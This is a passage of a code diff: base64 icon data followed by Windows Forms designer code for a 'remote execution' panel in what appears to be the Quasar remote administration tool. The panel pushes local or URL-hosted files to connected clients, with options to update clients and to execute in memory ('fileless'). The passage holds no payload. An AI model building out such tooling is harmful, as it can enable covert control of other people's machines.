Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs new file mode 100755 index 0000000..08eaf7b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs @@ -0,0 +1,267 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRemoteExecution + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteExecution)); + this.btnExecute = new System.Windows.Forms.Button(); + this.txtURL = new System.Windows.Forms.TextBox(); + this.lblURL = new System.Windows.Forms.Label(); + this.groupLocalFile = new System.Windows.Forms.GroupBox(); + this.btnBrowse = new System.Windows.Forms.Button(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.groupURL = new System.Windows.Forms.GroupBox(); + this.radioLocalFile = new System.Windows.Forms.RadioButton(); + this.radioURL = new System.Windows.Forms.RadioButton(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); + this.hClient = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.chkUpdate = new System.Windows.Forms.CheckBox(); + this.chkInMemory = new System.Windows.Forms.CheckBox(); + this.groupLocalFile.SuspendLayout(); + this.groupURL.SuspendLayout(); + this.SuspendLayout(); + // + // btnExecute + // + this.btnExecute.Location = new System.Drawing.Point(441, 574); + this.btnExecute.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnExecute.Name = "btnExecute"; + this.btnExecute.Size = new System.Drawing.Size(172, 29); + this.btnExecute.TabIndex = 6; + this.btnExecute.Text = "Execute remotely"; + this.btnExecute.UseVisualStyleBackColor = true; + this.btnExecute.Click += new System.EventHandler(this.btnExecute_Click); + // + // txtURL + // + this.txtURL.Location = new System.Drawing.Point(70, 31); + this.txtURL.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtURL.Name = "txtURL"; + this.txtURL.Size = new System.Drawing.Size(399, 26); + this.txtURL.TabIndex = 1; + // + // lblURL + // + this.lblURL.AutoSize = true; + this.lblURL.Location = new System.Drawing.Point(25, 35); + this.lblURL.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblURL.Name = "lblURL"; + this.lblURL.Size = new System.Drawing.Size(37, 19); + this.lblURL.TabIndex = 0; + this.lblURL.Text = "URL:"; + // + // groupLocalFile + // + this.groupLocalFile.Controls.Add(this.btnBrowse); + this.groupLocalFile.Controls.Add(this.txtPath); + this.groupLocalFile.Controls.Add(this.label1); + this.groupLocalFile.Location = new System.Drawing.Point(15, 44); + this.groupLocalFile.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupLocalFile.Name = "groupLocalFile"; + this.groupLocalFile.Padding = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupLocalFile.Size = new System.Drawing.Size(599, 94); + this.groupLocalFile.TabIndex = 1; + this.groupLocalFile.TabStop = false; + // + // btnBrowse + // + this.btnBrowse.Location = new System.Drawing.Point(478, 29); + this.btnBrowse.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnBrowse.Name = "btnBrowse"; + this.btnBrowse.Size = new System.Drawing.Size(94, 29); + this.btnBrowse.TabIndex = 2; + this.btnBrowse.Text = "Browse..."; + this.btnBrowse.UseVisualStyleBackColor = true; + this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click); + // + // txtPath + // + this.txtPath.Location = new System.Drawing.Point(74, 30); + this.txtPath.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtPath.Name = "txtPath"; + this.txtPath.ReadOnly = true; + this.txtPath.Size = new System.Drawing.Size(395, 26); + this.txtPath.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(25, 34); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(40, 19); + this.label1.TabIndex = 0; + this.label1.Text = "Path:"; + // + // groupURL + // + this.groupURL.Controls.Add(this.txtURL); + this.groupURL.Controls.Add(this.lblURL); + this.groupURL.Enabled = false; + this.groupURL.Location = new System.Drawing.Point(15, 201); + this.groupURL.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupURL.Name = "groupURL"; + this.groupURL.Padding = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupURL.Size = new System.Drawing.Size(599, 94); + this.groupURL.TabIndex = 3; + this.groupURL.TabStop = false; + // + // radioLocalFile + // + this.radioLocalFile.AutoSize = true; + this.radioLocalFile.Checked = true; + this.radioLocalFile.Location = new System.Drawing.Point(15, 15); + this.radioLocalFile.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.radioLocalFile.Name = "radioLocalFile"; + this.radioLocalFile.Size = new System.Drawing.Size(128, 23); + this.radioLocalFile.TabIndex = 0; + this.radioLocalFile.TabStop = true; + this.radioLocalFile.Text = "Execute local file"; + this.radioLocalFile.UseVisualStyleBackColor = true; + this.radioLocalFile.CheckedChanged += new System.EventHandler(this.radioLocalFile_CheckedChanged); + // + // radioURL + // + this.radioURL.AutoSize = true; + this.radioURL.Location = new System.Drawing.Point(15, 172); + this.radioURL.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.radioURL.Name = "radioURL"; + this.radioURL.Size = new System.Drawing.Size(138, 23); + this.radioURL.TabIndex = 2; + this.radioURL.Text = "Execute from URL"; + this.radioURL.UseVisualStyleBackColor = true; + this.radioURL.CheckedChanged += new System.EventHandler(this.radioURL_CheckedChanged); + // + // lstTransfers + // + this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hClient, + this.hStatus}); + this.lstTransfers.FullRowSelect = true; + this.lstTransfers.GridLines = true; + this.lstTransfers.HideSelection = false; + this.lstTransfers.Location = new System.Drawing.Point(15, 302); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstTransfers.LvwColumnSorter = listViewColumnSorter1; + this.lstTransfers.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstTransfers.Name = "lstTransfers"; + this.lstTransfers.Size = new System.Drawing.Size(598, 264); + this.lstTransfers.TabIndex = 4; + this.lstTransfers.UseCompatibleStateImageBehavior = false; + this.lstTransfers.View = System.Windows.Forms.View.Details; + // + // hClient + // + this.hClient.Text = "Client"; + this.hClient.Width = 302; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 173; + // + // chkUpdate + // + this.chkUpdate.AutoSize = true; + this.chkUpdate.Location = new System.Drawing.Point(225, 579); + this.chkUpdate.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.chkUpdate.Name = "chkUpdate"; + this.chkUpdate.Size = new System.Drawing.Size(195, 23); + this.chkUpdate.TabIndex = 5; + this.chkUpdate.Text = "Update clients with this file"; + this.chkUpdate.UseVisualStyleBackColor = true; + // + // chkInMemory + // + this.chkInMemory.AutoSize = true; + this.chkInMemory.Location = new System.Drawing.Point(15, 144); + this.chkInMemory.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.chkInMemory.Name = "chkInMemory"; + this.chkInMemory.Size = new System.Drawing.Size(198, 23); + this.chkInMemory.TabIndex = 7; + this.chkInMemory.Text = "Execute in memory (fileless)"; + this.chkInMemory.UseVisualStyleBackColor = true; + // + // FrmRemoteExecution + // + this.AcceptButton = this.btnExecute; + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(629, 618); + this.Controls.Add(this.chkUpdate); + this.Controls.Add(this.chkInMemory); + this.Controls.Add(this.lstTransfers); + this.Controls.Add(this.radioURL); + this.Controls.Add(this.radioLocalFile); + this.Controls.Add(this.groupURL); + this.Controls.Add(this.groupLocalFile); + this.Controls.Add(this.btnExecute); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.Name = "FrmRemoteExecution"; + this.StartPosition = 